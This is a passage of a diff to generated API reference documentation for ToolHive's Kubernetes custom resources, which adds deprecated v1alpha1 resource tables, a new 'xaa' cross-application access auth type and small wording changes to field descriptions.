| +| `metadata` _[ListMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#listmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `items` _[api.v1alpha1.MCPServer](#apiv1alpha1mcpserver) array_ | | | | + + +#### api.v1alpha1.MCPTelemetryConfig + + + +MCPTelemetryConfig is the deprecated v1alpha1 version of the MCPTelemetryConfig resource. + + + + + +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPTelemetryConfig` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ObjectMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#objectmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `spec` _[api.v1beta1.MCPTelemetryConfigSpec](#apiv1beta1mcptelemetryconfigspec)_ | | | | +| `status` _[api.v1beta1.MCPTelemetryConfigStatus](#apiv1beta1mcptelemetryconfigstatus)_ | | | | + + +#### api.v1alpha1.MCPTelemetryConfigList + + + +MCPTelemetryConfigList contains a list of MCPTelemetryConfig. + + + + | Field | Description | Default | Validation | | --- | --- | --- | --- | -| `name` _string_ | Name is the MCP tool name this limit applies to. | | MinLength: 1
Required: \{\}
| -| `shared` _[ratelimit.types.RateLimitBucket](#ratelimittypesratelimitbucket)_ | Shared token bucket for this specific tool. | | Optional: \{\}
| -| `perUser` _[ratelimit.types.RateLimitBucket](#ratelimittypesratelimitbucket)_ | PerUser token bucket configuration for this tool. | | Optional: \{\}
| - - +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPTelemetryConfigList` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ListMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#listmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `items` _[api.v1alpha1.MCPTelemetryConfig](#apiv1alpha1mcptelemetryconfig) array_ | | | | -## toolhive.stacklok.dev/telemetry +#### api.v1alpha1.MCPToolConfig -#### pkg.telemetry.Config +MCPToolConfig is the deprecated v1alpha1 version of the MCPToolConfig resource. -Config holds the configuration for OpenTelemetry instrumentation. -_Appears in:_ -- [vmcp.config.Config](#vmcpconfigconfig) | Field | Description | Default | Validation | | --- | --- | --- | --- | -| `endpoint` _string_ | Endpoint is the OTLP endpoint URL | | Optional: \{\}
| -| `serviceName` _string_ | ServiceName is the service name for telemetry.
When omitted, defaults to the server name (e.g., VirtualMCPServer name). | | Optional: \{\}
| -| `serviceVersion` _string_ | ServiceVersion is the service version for telemetry.
When omitted, defaults to the ToolHive version. | | Optional: \{\}
| -| `tracingEnabled` _boolean_ | TracingEnabled controls whether distributed tracing is enabled.
When false, no tracer provider is created even if an endpoint is configured. | false | Optional: \{\}
| -| `metricsEnabled` _boolean_ | MetricsEnabled controls whether OTLP metrics are enabled.
When false, OTLP metrics are not sent even if an endpoint is configured.
This is independent of EnablePrometheusMetricsPath. | false | Optional: \{\}
| -| `samplingRate` _string_ | SamplingRate is the trace sampling rate (0.0-1.0) as a string.
Only used when TracingEnabled is true.
Example: "0.05" for 5% sampling. | 0.05 | Optional: \{\}
| -| `headers` _object (keys:string, values:string)_ | Headers contains authentication headers for the OTLP endpoint. | | Optional: \{\}
| -| `insecure` _boolean_ | Insecure indicates whether to use HTTP instead of HTTPS for the OTLP endpoint. | false | Optional: \{\}
| -| `enablePrometheusMetricsPath` _boolean_ | EnablePrometheusMetricsPath controls whether to expose Prometheus-style /metrics endpoint.
The metrics are served on the main transport port at /metrics.
This is separate from OTLP metrics which are sent to the Endpoint. | false | Optional: \{\}
| -| `environmentVariables` _string array_ | EnvironmentVariables is a list of environment variable names that should be
included in telemetry spans as attributes. Only variables in this list will
be read from the host machine and included in spans for observability.
Example: ["NODE_ENV", "DEPLOYMENT_ENV", "SERVICE_VERSION"] | | Optional: \{\}
| -| `customAttributes` _object (keys:string, values:string)_ | CustomAttributes contains custom resource attributes to be added to all telemetry signals.
These are parsed from CLI flags (--otel-custom-attributes) or environment variables
(OTEL_RESOURCE_ATTRIBUTES) as key=value pairs. | | Optional: \{\}
| -| `useLegacyAttributes` _boolean_ | UseLegacyAttributes controls whether legacy (pre-MCP OTEL semconv) attribute names
are emitted alongside the new standard attribute names. When true, spans include both
old and new attribute names for backward compatibility with existing dashboards.
Currently defaults to true; this will change to false in a future release. | true | Optional: \{\}
| -| `caCertPath` _string_ | CACertPath is the file path to a CA certificate bundle for the OTLP endpoint.
When set, the OTLP exporters use this CA to verify the collector's TLS certificate
instead of relying solely on the system CA pool. | | Optional: \{\}
| +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPToolConfig` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ObjectMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#objectmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `spec` _[api.v1beta1.MCPToolConfigSpec](#apiv1beta1mcptoolconfigspec)_ | | | | +| `status` _[api.v1beta1.MCPToolConfigStatus](#apiv1beta1mcptoolconfigstatus)_ | | | | +#### api.v1alpha1.MCPToolConfigList +MCPToolConfigList contains a list of MCPToolConfig. +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPToolConfigList` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ListMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#listmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `items` _[api.v1alpha1.MCPToolConfig](#apiv1alpha1mcptoolconfig) array_ | | | | +#### api.v1alpha1.MCPWebhookConfig -## toolhive.stacklok.dev/v1alpha1 -### Resource Types -- [api.v1alpha1.EmbeddingServer](#apiv1alpha1embeddingserver) -- [api.v1alpha1.EmbeddingServerList](#apiv1alpha1embeddingserverlist) -- [api.v1alpha1.MCPAuthzConfig](#apiv1alpha1mcpauthzconfig) -- [api.v1alpha1.MCPAuthzConfigList](#apiv1alpha1mcpauthzconfiglist) -- [api.v1alpha1.MCPExternalAuthConfig](#apiv1alpha1mcpexternalauthconfig) -- [api.v1alpha1.MCPExternalAuthConfigList](#apiv1alpha1mcpexternalauthconfiglist) -- [api.v1alpha1.MCPGroup](#apiv1alpha1mcpgroup) -- [api.v1alpha1.MCPGroupList](#apiv1alpha1mcpgrouplist) -- [api.v1alpha1.MCPOIDCConfig](#apiv1alpha1mcpoidcconfig) -- [api.v1alpha1.MCPOIDCConfigList](#apiv1alpha1mcpoidcconfiglist) -- [api.v1alpha1.MCPRegistry](#apiv1alpha1mcpregistry) -- [api.v1alpha1.MCPRegistryList](#apiv1alpha1mcpregistrylist) -- [api.v1alpha1.MCPRemoteProxy](#apiv1alpha1mcpremoteproxy) -- [api.v1alpha1.MCPRemoteProxyList](#apiv1alpha1mcpremoteproxylist) -- [api.v1alpha1.MCPServer](#apiv1alpha1mcpserver) -- [api.v1alpha1.MCPServerEntry](#apiv1alpha1mcpserverentry) -- [api.v1alpha1.MCPServerEntryList](#apiv1alpha1mcpserverentrylist) -- [api.v1alpha1.MCPServerList](#apiv1alpha1mcpserverlist) -- [api.v1alpha1.MCPTelemetryConfig](#apiv1alpha1mcptelemetryconfig) -- [api.v1alpha1.MCPTelemetryConfigList](#apiv1alpha1mcptelemetryconfiglist) -- [api.v1alpha1.MCPToolConfig](#apiv1alpha1mcptoolconfig) -- [api.v1alpha1.MCPToolConfigList](#apiv1alpha1mcptoolconfiglist) -- [api.v1alpha1.MCPWebhookConfig](#apiv1alpha1mcpwebhookconfig) -- [api.v1alpha1.MCPWebhookConfigList](#apiv1alpha1mcpwebhookconfiglist) -- [api.v1alpha1.VirtualMCPCompositeToolDefinition](#apiv1alpha1virtualmcpcompositetooldefinition) -- [api.v1alpha1.VirtualMCPCompositeToolDefinitionList](#apiv1alpha1virtualmcpcompositetooldefinitionlist) -- [api.v1alpha1.VirtualMCPServer](#apiv1alpha1virtualmcpserver) -- [api.v1alpha1.VirtualMCPServerList](#apiv1alpha1virtualmcpserverlist) +MCPWebhookConfig is the Schema for the mcpwebhookconfigs API. +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPWebhookConfig` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ObjectMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#objectmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `spec` _[api.v1beta1.MCPWebhookConfigSpec](#apiv1beta1mcpwebhookconfigspec)_ | | | | +| `status` _[api.v1beta1.MCPWebhookConfigStatus](#apiv1beta1mcpwebhookconfigstatus)_ | | | | +#### api.v1alpha1.MCPWebhookConfigList +MCPWebhookConfigList contains a list of MCPWebhookConfig. +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `MCPWebhookConfigList` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ListMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#listmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `items` _[api.v1alpha1.MCPWebhookConfig](#apiv1alpha1mcpwebhookconfig) array_ | | | | +#### api.v1alpha1.VirtualMCPCompositeToolDefinition +VirtualMCPCompositeToolDefinition is the deprecated v1alpha1 version of the VirtualMCPCompositeToolDefinition resource. +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `VirtualMCPCompositeToolDefinition` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ObjectMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#objectmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `spec` _[api.v1beta1.VirtualMCPCompositeToolDefinitionSpec](#apiv1beta1virtualmcpcompositetooldefinitionspec)_ | | | | +| `status` _[api.v1beta1.VirtualMCPCompositeToolDefinitionStatus](#apiv1beta1virtualmcpcompositetooldefinitionstatus)_ | | | | +#### api.v1alpha1.VirtualMCPCompositeToolDefinitionList +VirtualMCPCompositeToolDefinitionList contains a list of VirtualMCPCompositeToolDefinition. +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `VirtualMCPCompositeToolDefinitionList` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ListMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#listmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `items` _[api.v1alpha1.VirtualMCPCompositeToolDefinition](#apiv1alpha1virtualmcpcompositetooldefinition) array_ | | | | +#### api.v1alpha1.VirtualMCPServer +VirtualMCPServer is the deprecated v1alpha1 version of the VirtualMCPServer resource. +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `VirtualMCPServer` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ObjectMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#objectmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `spec` _[api.v1beta1.VirtualMCPServerSpec](#apiv1beta1virtualmcpserverspec)_ | | | | +| `status` _[api.v1beta1.VirtualMCPServerStatus](#apiv1beta1virtualmcpserverstatus)_ | | | | +#### api.v1alpha1.VirtualMCPServerList +VirtualMCPServerList contains a list of VirtualMCPServer. +| Field | Description | Default | Validation | +| --- | --- | --- | --- | +| `apiVersion` _string_ | `toolhive.stacklok.dev/v1alpha1` | | | +| `kind` _string_ | `VirtualMCPServerList` | | | +| `kind` _string_ | Kind is a string value representing the REST resource this object represents.
Servers may infer this from the endpoint the client submits requests to.
Cannot be updated.
In CamelCase.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds | | Optional: \{\}
| +| `apiVersion` _string_ | APIVersion defines the versioned schema of this representation of an object.
Servers should convert recognized schemas to the latest internal value, and
may reject unrecognized values.
More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources | | Optional: \{\}
| +| `metadata` _[ListMeta](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#listmeta-v1-meta)_ | Refer to Kubernetes API documentation for fields of `metadata`. | | | +| `items` _[api.v1alpha1.VirtualMCPServer](#apiv1alpha1virtualmcpserver) array_ | | | | @@ -1282,6 +1866,17 @@ _Appears in:_ | `softwareStatement` _string_ | SoftwareStatement is the RFC 7591 "software_statement" JWT asserting
metadata about the client software, signed by a party the authorization
server trusts.
Stored inline on the CR. The JWT is signed but not encrypted, so its
contents are visible to anyone with get/list/watch on this resource and
appear in etcd backups in plaintext. Treat the value as non-confidential
(signed attestation, not a secret). Operators that rotate software
statements like bearer credentials should keep them at the authorization
server side and rely on the registration endpoint's initial access
token (see InitialAccessTokenRef) instead of placing them on the CR.
Bounded to 16384 characters as a defensive size cap (etcd object
budget, regex evaluation cost). Real-world signed statements with
embedded x5c certificate chains, JWKS keys, or OIDC-Federation
trust-framework metadata routinely exceed 4 KB. | | MaxLength: 16384
Optional: \{\}
| +#### api.v1beta1.DiscoveredBackend + + + +DiscoveredBackend is an alias to the canonical definition in pkg/vmcp/types.go +This provides a local name for use in the CRD status. + + + + + #### api.v1beta1.EmbeddedAuthServerCIMDConfig @@ -1556,8 +2151,9 @@ _Appears in:_ | `unauthenticated` | ExternalAuthTypeUnauthenticated is the type for no authentication
This should only be used for backends on trusted networks (e.g., localhost, VPC)
or when authentication is handled by network-level security
| | `embeddedAuthServer` | ExternalAuthTypeEmbeddedAuthServer is the type for embedded OAuth2/OIDC authorization server
This enables running an embedded auth server that delegates to upstream IDPs
| | `awsSts` | ExternalAuthTypeAWSSts is the type for AWS STS authentication
| -| `upstreamInject` | ExternalAuthTypeUpstreamInject is the type for upstream token injection
This injects an upstream IDP access token as the Authorization: Bearer header
| +| `upstreamInject` | ExternalAuthTypeUpstreamInject is the type for upstream token injection
This injects an upstream IdP access token as the Authorization: Bearer header
| | `obo` | ExternalAuthTypeOBO is the type for on-behalf-of (OBO) flows.
This type requires a build with an OBO handler registered via
controllerutil.RegisterOBOHandler; an upstream-only build surfaces
status.conditions[Valid] = False with Reason: EnterpriseRequired
when an obo-typed MCPExternalAuthConfig is applied.
| +| `xaa` | ExternalAuthTypeXAA is the type for XAA (Cross-Application Access) auth.
XAA performs a two-step token exchange to obtain access tokens for target services:
- IdP exchange (RFC 8693): Exchange the user's ID token at their IdP for an ID-JAG JWT
- Target grant (RFC 7523): Exchange the ID-JAG at the target app's AS for an access token
| #### api.v1beta1.HeaderForwardConfig @@ -1900,7 +2496,7 @@ _Appears in:_ | Field | Description | Default | Validation | | --- | --- | --- | --- | -| `type` _[api.v1beta1.ExternalAuthType](#apiv1beta1externalauthtype)_ | Type is the type of external authentication to configure.
When set to "obo", the cluster must run a build that has registered an
OBO handler via controllerutil.RegisterOBOHandler; upstream-only builds
surface status.conditions[Valid] = False with Reason: EnterpriseRequired
for obo-typed configs. | | Enum: [tokenExchange headerInjection bearerToken unauthenticated embeddedAuthServer awsSts upstreamInject obo]
Required: \{\}
| +| `type` _[api.v1beta1.ExternalAuthType](#apiv1beta1externalauthtype)_ | Type is the type of external authentication to configure.
When set to "obo", the cluster must run a build that has registered an
OBO handler via controllerutil.RegisterOBOHandler; upstream-only builds
surface status.conditions[Valid] = False with Reason: EnterpriseRequired
for obo-typed configs. | | Enum: [tokenExchange headerInjection bearerToken unauthenticated embeddedAuthServer awsSts upstreamInject obo xaa]
Required: \{\}
| | `tokenExchange` _[api.v1beta1.TokenExchangeConfig](#apiv1beta1tokenexchangeconfig)_ | TokenExchange configures RFC-8693 OAuth 2.0 Token Exchange
Only used when Type is "tokenExchange" | | Optional: \{\}
| | `headerInjection` _[api.v1beta1.HeaderInjectionConfig](#apiv1beta1headerinjectionconfig)_ | HeaderInjection configures custom HTTP header injection
Only used when Type is "headerInjection" | | Optional: \{\}
| | `bearerToken` _[api.v1beta1.BearerTokenConfig](#apiv1beta1bearertokenconfig)_ | BearerToken configures bearer token authentication
Only used when Type is "bearerToken" | | Optional: \{\}
| @@ -1908,6 +2504,7 @@ _Appears in:_ | `awsSts` _[api.v1beta1.AWSStsConfig](#apiv1beta1awsstsconfig)_ | AWSSts configures AWS STS authentication with SigV4 request signing
Only used when Type is "awsSts" | | Optional: \{\}
| | `upstreamInject` _[api.v1beta1.UpstreamInjectSpec](#apiv1beta1upstreaminjectspec)_ | UpstreamInject configures upstream token injection for backend requests.
Only used when Type is "upstreamInject". | | Optional: \{\}
| | `obo` _[api.v1beta1.OBOConfig](#apiv1beta1oboconfig)_ | OBO configures On-Behalf-Of (OBO) authentication.
Only used when Type is "obo". Setting this field on an upstream-only build
causes the MCPExternalAuthConfig to transition to
status.conditions[Valid] = False with Reason: EnterpriseRequired, because
no OBO handler is registered. See OBOConfig for the field-to-runtime
contract mapping. | | Optional: \{\}
| +| `xaa` _[api.v1beta1.XAASpec](#apiv1beta1xaaspec)_ | XAA configures XAA (Cross-Application Access) auth for backend requests.
Only used when Type is "xaa". | | Optional: \{\}
| #### api.v1beta1.MCPExternalAuthConfigStatus @@ -2374,9 +2971,9 @@ _Appears in:_ | `telemetryConfigRef` _[api.v1beta1.MCPTelemetryConfigReference](#apiv1beta1mcptelemetryconfigreference)_ | TelemetryConfigRef references an MCPTelemetryConfig resource for shared telemetry configuration.
The referenced MCPTelemetryConfig must exist in the same namespace as this MCPRemoteProxy.
Cross-namespace references are not supported for security and isolation reasons. | | Optional: \{\}
| | `resources` _[api.v1beta1.ResourceRequirements](#apiv1beta1resourcerequirements)_ | Resources defines the resource requirements for the proxy container | | Optional: \{\}
| | `serviceAccount` _string_ | ServiceAccount is the name of an already existing service account to use by the proxy.
If not specified, a ServiceAccount will be created automatically and used by the proxy. | | Optional: \{\}
| +| `podTemplateSpec` _[RawExtension](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#rawextension-runtime-pkg)_ | PodTemplateSpec defines the pod template to use for the MCPRemoteProxy
This allows for customizing the pod configuration beyond what is provided by the other fields.
Note that to modify the specific container the remote proxy runs in, you must specify
the `toolhive` container name in the PodTemplateSpec.
This field accepts a PodTemplateSpec object as JSON/YAML. | | Type: object
Optional: \{\}
| | `trustProxyHeaders` _boolean_ | TrustProxyHeaders indicates whether to trust X-Forwarded-* headers from reverse proxies
When enabled, the proxy will use X-Forwarded-Proto, X-Forwarded-Host, X-Forwarded-Port,
and X-Forwarded-Prefix headers to construct endpoint URLs | false | Optional: \{\}
| | `endpointPrefix` _string_ | EndpointPrefix is the path prefix to prepend to SSE endpoint URLs.
This is used to handle path-based ingress routing scenarios where the ingress
strips a path prefix before forwarding to the backend. | | Optional: \{\}
| -| `podTemplateSpec` _[RawExtension](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#rawextension-runtime-pkg)_ | PodTemplateSpec allows customizing the pod template for the proxy deployment.
Scheduling fields (nodeSelector, tolerations, affinity) are applied to the proxy pods. | | Optional: \{\}
| | `resourceOverrides` _[api.v1beta1.ResourceOverrides](#apiv1beta1resourceoverrides)_ | ResourceOverrides allows overriding annotations and labels for resources created by the operator | | Optional: \{\}
| | `groupRef` _[api.v1beta1.MCPGroupRef](#apiv1beta1mcpgroupref)_ | GroupRef references the MCPGroup this proxy belongs to.
The referenced MCPGroup must be in the same namespace. | | Optional: \{\}
| | `sessionAffinity` _string_ | SessionAffinity controls whether the Service routes repeated client connections to the same pod.
MCP protocols (SSE, streamable-http) are stateful, so ClientIP is the default.
Set to "None" for stateless servers or when using an external load balancer with its own affinity.
Interaction with sessionStorage: when running multiple replicas with
sessionStorage.provider "redis", set this to "None" so requests are
distributed across replicas and sessions resolve via the shared store.
Conversely, "None" without Redis-backed sessionStorage breaks session
continuity — any request landing on a different pod fails with
"Session not found". | ClientIP | Enum: [ClientIP None]
Optional: \{\}
| @@ -2980,8 +3577,8 @@ _Appears in:_ | `userInfo` _[api.v1beta1.UserInfoConfig](#apiv1beta1userinfoconfig)_ | UserInfo contains configuration for fetching user information from the upstream provider.
When omitted and IdentityFromToken is also unset, the embedded auth server runs in
synthesis mode for this upstream: a non-PII subject derived from the access token, no
Name/Email. Use this shape for upstreams with no userinfo surface and no identity in
the token response (e.g., MCP authorization servers per the MCP spec). When
IdentityFromToken is set instead, identity is resolved from the token response body
(e.g., Snowflake's "username" field, Slack's "authed_user.id"); the userinfo HTTP call
is skipped entirely. | | Optional: \{\}
| | `clientId` _string_ | ClientID is the OAuth 2.0 client identifier registered with the upstream IDP.
Mutually exclusive with DCRConfig: when DCRConfig is set, ClientID is obtained
at runtime via RFC 7591 Dynamic Client Registration and must be left empty. | | Optional: \{\}
| | `clientSecretRef` _[api.v1beta1.SecretKeyRef](#apiv1beta1secretkeyref)_ | ClientSecretRef references a Kubernetes Secret containing the OAuth 2.0 client secret.
Optional for public clients using PKCE instead of client secret. | | Optional: \{\}
| -| `redirectUri` _string_ | RedirectURI is the callback URL where the upstream IDP will redirect after authentication.
When not specified, defaults to `\{resourceUrl\}/oauth/callback` where `resourceUrl` is the
URL associated with the resource (e.g., MCPServer or vMCP) using this config. | | Optional: \{\}
| -| `scopes` _string array_ | Scopes are the OAuth scopes to request from the upstream IDP. | | Optional: \{\}
| +| `redirectUri` _string_ | RedirectURI is the callback URL where the upstream IdP will redirect after authentication.
When not specified, defaults to `\{resourceUrl\}/oauth/callback` where `resourceUrl` is the
URL associated with the resource (e.g., MCPServer or vMCP) using this config. | | Optional: \{\}
| +| `scopes` _string array_ | Scopes are the OAuth scopes to request from the upstream IdP. | | Optional: \{\}
| | `tokenResponseMapping` _[api.v1beta1.TokenResponseMapping](#apiv1beta1tokenresponsemapping)_ | TokenResponseMapping configures custom field extraction from non-standard token responses.
Some OAuth providers (e.g., GovSlack) nest token fields under non-standard paths
instead of returning them at the top level. When set, ToolHive performs the token
exchange HTTP call directly and extracts fields using the configured dot-notation paths.
If nil, standard OAuth 2.0 token response parsing is used.
For extracting user identity from the token response, see IdentityFromToken. | | Optional: \{\}
| | `identityFromToken` _[api.v1beta1.IdentityFromTokenConfig](#apiv1beta1identityfromtokenconfig)_ | IdentityFromToken extracts user identity (subject, name, email) directly
from the OAuth2 token-endpoint response body using gjson dot-notation paths.
When set, the embedded auth server skips the userinfo HTTP call entirely
and resolves identity from the token response. See IdentityFromTokenConfig
for trust-model and uniqueness considerations. | | Optional: \{\}
| | `additionalAuthorizationParams` _object (keys:string, values:string)_ | AdditionalAuthorizationParams are extra query parameters to include in
authorization requests sent to the upstream provider.
This is useful for providers that require custom parameters, such as
Google's access_type=offline for obtaining refresh tokens.
Framework-managed parameters (response_type, client_id, redirect_uri,
scope, state, code_challenge, code_challenge_method, nonce) are not allowed. | | MaxProperties: 16
Optional: \{\}
| @@ -3060,10 +3657,10 @@ _Appears in:_ | Field | Description | Default | Validation | | --- | --- | --- | --- | | `issuerUrl` _string_ | IssuerURL is the OIDC issuer URL for automatic endpoint discovery.
Must be a valid HTTPS URL. | | Pattern: `^https://.*$`
Required: \{\}
| -| `clientId` _string_ | ClientID is the OAuth 2.0 client identifier registered with the upstream IDP. | | Required: \{\}
| +| `clientId` _string_ | ClientID is the OAuth 2.0 client identifier registered with the upstream IdP. | | Required: \{\}
| | `clientSecretRef` _[api.v1beta1.SecretKeyRef](#apiv1beta1secretkeyref)_ | ClientSecretRef references a Kubernetes Secret containing the OAuth 2.0 client secret.
Optional for public clients using PKCE instead of client secret. | | Optional: \{\}
| -| `redirectUri` _string_ | RedirectURI is the callback URL where the upstream IDP will redirect after authentication.
When not specified, defaults to `\{resourceUrl\}/oauth/callback` where `resourceUrl` is the
URL associated with the resource (e.g., MCPServer or vMCP) using this config. | | Optional: \{\}
| -| `scopes` _string array_ | Scopes are the OAuth scopes to request from the upstream IDP.
If not specified, defaults to ["openid", "offline_access"].
When using additionalAuthorizationParams with provider-specific refresh token
mechanisms (e.g., Google's access_type=offline), set explicit scopes to avoid
sending both offline_access and the provider-specific parameter. | | Optional: \{\}
| +| `redirectUri` _string_ | RedirectURI is the callback URL where the upstream IdP will redirect after authentication.
When not specified, defaults to `\{resourceUrl\}/oauth/callback` where `resourceUrl` is the
URL associated with the resource (e.g., MCPServer or vMCP) using this config. | | Optional: \{\}
| +| `scopes` _string array_ | Scopes are the OAuth scopes to request from the upstream IdP.
If not specified, defaults to ["openid", "offline_access"].
When using additionalAuthorizationParams with provider-specific refresh token
mechanisms (e.g., Google's access_type=offline), set explicit scopes to avoid
sending both offline_access and the provider-specific parameter. | | Optional: \{\}
| | `userInfoOverride` _[api.v1beta1.UserInfoConfig](#apiv1beta1userinfoconfig)_ | UserInfoOverride allows customizing UserInfo fetching behavior for OIDC providers.
By default, the UserInfo endpoint is discovered automatically via OIDC discovery.
Use this to override the endpoint URL, HTTP method, or field mappings for providers
that return non-standard claim names in their UserInfo response. | | Optional: \{\}
| | `additionalAuthorizationParams` _object (keys:string, values:string)_ | AdditionalAuthorizationParams are extra query parameters to include in
authorization requests sent to the upstream provider.
This is useful for providers that require custom parameters, such as
Google's access_type=offline for obtaining refresh tokens.
